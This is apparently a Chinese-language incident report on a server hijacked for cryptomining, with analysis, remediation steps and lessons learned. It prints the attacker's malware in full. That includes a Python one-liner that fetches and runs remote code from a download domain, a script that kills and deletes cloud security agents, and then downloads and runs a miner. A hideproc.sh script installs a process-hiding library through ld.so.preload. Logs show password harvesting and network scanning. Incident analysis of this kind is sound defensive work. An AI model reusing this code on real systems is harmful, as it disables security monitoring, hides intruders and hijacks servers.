服务器被入侵挖矿的过程与解决方法

服务器被入侵挖矿过程

事情经过

首要问题是保障业务正常可用，于是快速拉起另外一个实例，将业务迁移过去。接下来， 首先将被入侵服务器关机，然后一步步研究入侵过程，以及其在服务器上的行为。

入侵行为分析

python -c 'import urllib;exec urllib.urlopen("http://m.windowsupdatesupport.org/d/loader.py").read()

import sysimport osfrom os.path import expanduserver=sys.version
shs='''ps aux | grep -v grep | grep 'aegis' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'hids' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'cloudwalker' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'titanagent' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'hids' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'titanagent' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'sgagent' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'barad_agent' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'hostguard' | awk '{print $2}' | xargs  -I {}  kill -9 {}
rm -rf /usr/local/aegisrm -rf /usr/local/qcloudrm -rf /usr/local/hostguard/bin
ps aux | grep -v grep | grep 'kworkers' | awk '{print $2}' | xargs  -I {}  kill -9 {}
'''os.system(shs)domainroota="m.windowsupdatesupport.org"#domainroota="192.168.67.131"#$domainroota#curl  http://$domainroota/d/kworkers -o $gitdir/kworkershomedir=expanduser("~")gitdir=""try:    os.mkdir(homedir+"/.git")except Exception as e:    print(e)if os.path.isdir(homedir+"/.git"):    gitdir=homedir+"/.git"try:    os.mkdir("./.git")except Exception as e:    print(e)if os.path.isdir("./.git"):    gitdir="./.git"downloadu="http://{}/d/kworkers".format(domainroota)if ver.startswith("3"):    import urllib.request    with urllib.request.urlopen(downloadu) as f:        html = f.read()        open(gitdir + "/kworkers", 'wb').write(html)else:    import urllib2    with open(gitdir + "/kworkers", 'wb') as f:        f.write(urllib2.urlopen("http://{}/d/kworkers".format(domainroota)).read())        f.close()print ("Download Complete!")os.system("chmod 777 "+gitdir+"/kworkers")if os.path.isfile('/.dockerenv'):    os.system(gitdir+"/kworkers")else:    os.system("nohup {}/kworkers >>{}/.log&".format(gitdir,gitdir))

远程代码主要做了这些事情：

1. 卸载服务器上的安全监控工具；事后开机，发现阿里云盾果然被卸载了
2. 关掉所有kworkers进程；

3. 在当前目录下创建 .git 目录，下载并执行 kworkers 程序。

服务器残留痕迹

# crontab -l0 2 * * * /xxx/.git/kworkers

/xxx/.git/xxx/.gitworking dir /xxx from pid 23684version not exist downloadDownloaded: http://m.windowsupdatesupport.org/d/downloadversion not exist dbusDownloaded: http://m.windowsupdatesupport.org/d/dbusversion not exist hideproc.shDownloaded: http://m.windowsupdatesupport.org/d/hideproc.sherror exit status 1version not exist sshkey.shDownloaded: http://m.windowsupdatesupport.org/d/sshkey.shversion not exist autoupdateDownloaded: http://m.windowsupdatesupport.org/d/autoupdateversion not exist kworkersKey path not found/xxx/.gitpassfound  protectedpassfound  providedpassfound  +clientpassfound  +clientpassfound  protectedpassfound  providedpassfound  qualitypassfound  (pluspassfound  (digits,passfound  promptfound aksk xxxx xxxxfound aksk xxxx xxxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxlstat /proc/7776/fd/3: no such file or directorylstat /proc/7776/fdinfo/3: no such file or directorylstat /proc/7776/task/7776/fd/3: no such file or directorylstat /proc/7776/task/7776/fdinfo/3: no such file or directorylstat /proc/7776/task/7777/fd/3: no such file or directorylstat /proc/7776/task/7777/fdinfo/3: no such file or directorylstat /proc/7776/task/7778/fd/3: no such file or directorylstat /proc/7776/task/7778/fdinfo/3: no such file or directorylstat /proc/7776/task/7779/fd/3: no such file or directorylstat /proc/7776/task/7779/fdinfo/3: no such file or directorylstat /proc/7776/task/7780/fd/3: no such file or directorylstat /proc/7776/task/7780/fdinfo/3: no such file or directorylstat /proc/7776/task/7781/fd/3: no such file or directorylstat /proc/7776/task/7781/fdinfo/3: no such file or directorylstat /proc/7776/task/7782/fd/3: no such file or directorylstat /proc/7776/task/7782/fdinfo/3: no such file or directorylstat /proc/7776/task/7783/fd/3: no such file or directorylstat /proc/7776/task/7783/fdinfo/3: no such file or directoryrestart cmd  /xxx/.git/kworkers/xxx/.gitpassfound  file,passfound  settingspassfound  file.passfound  callbackspassfound  Callbackpassfound  examplepassfound  promptpassfound  passwordpassfound  informationpassfound  tokenpassfound  tokenpassfound  tokenpassfound  Passwordpassfound  passwordpassfound  passwordpassfound  -basedpassfound  Passwordpassfound  (usingpassfound  field>passfound  retrypassfound  foobarpassfound  foobarpassfound  foobarpassfound  foobarpassfound  foobarpassfound  passwordpassfound  passwordpassfound  foobarpassfound  foobarpassfound  secretrtotal passwords 25xxx.xxx.xxx.xxxlan ipdoscan range  xxx.xxx.0.0/16ping...Receive 24 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 time=496.309µsworking dir /xxx from pid 7792Receive 24 bytes from xxx.xxx.xxx: icmp_seq=0 time=257.973µsxxx.xxx.xxx is alivexxx.xxx.xxx is alivexxx.xxx.xxx:80  openxxx.xxx0xxx:443  openversion  same downloadversion  same dbusrestart dbusexec again dbus downrunkill process pid 23709
process completedversion  same hideproc.shskip restart hideproc.shversion  same sshkey.shskip restart sshkey.shversion  same autoupdateskip restart autoupdateversion  same kworkersKey path not found

1. 对 hideproc.sh 感兴趣，其内容为：

if [ "$EUID" -ne 0 ]  then echo "Please run as root"else  if [ `grep libc2.28 /etc/ld.so.preload`  ]  then echo "hideproc already done!!"  else    apt-get update -y    apt-get install build-essential -y    yum check-update    yum install build-essential -y    dnf groupinstall "Development Tools" -y    yum group install "Development Tools"  -y    curl http://m.windowsupdatesupport.org/d/processhider.c -o  processhider.c
    gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl    mv libc2.28.so /usr/local/lib/ -f    grep libc2.28 /etc/ld.so.preload  || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload    rm -f processhider.c    ls >/tmp/.1  2>&1    grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload  fifi

其他信息

除了上述文件，/tmp文件夹下还生成了.1和.1.sh文件；

查询可疑ip，位于国内北京市，应该是肉鸡；

查询木马下载域名windowsupdatesupport.org，今年6月注册，解析ip都在国外。该域名很有混淆性，并且为了方便直接用http访问；

除了下载木马文件挖矿，未改变服务器上的其他数据。

服务器被入侵挖矿解决办法

apt install -y apache2-utilshtpasswd /etc/nginx/conf.d/.htpasswd user

然后配置 Nginx 使用认证信息：

server {  ...  auth_basic  "子系统鉴权：";  auth_basic_user_file /etc/nginx/conf.d/.htpasswd;  ..}

4、防火墙限制对外连接。

总结

幸运的是这次来的是挖矿木马，服务器上的程序和数据都未受影响。也很感谢阿里云免费的安全提醒，让我在第一时间处理。

但这次事故也敲醒了警钟：

1. 不要随意用 root 权限运行程序；
2. 防火墙权限要严格收紧；
3. 做好安全监控；
4. 时刻做好数据备份。

审核编辑：汤梓红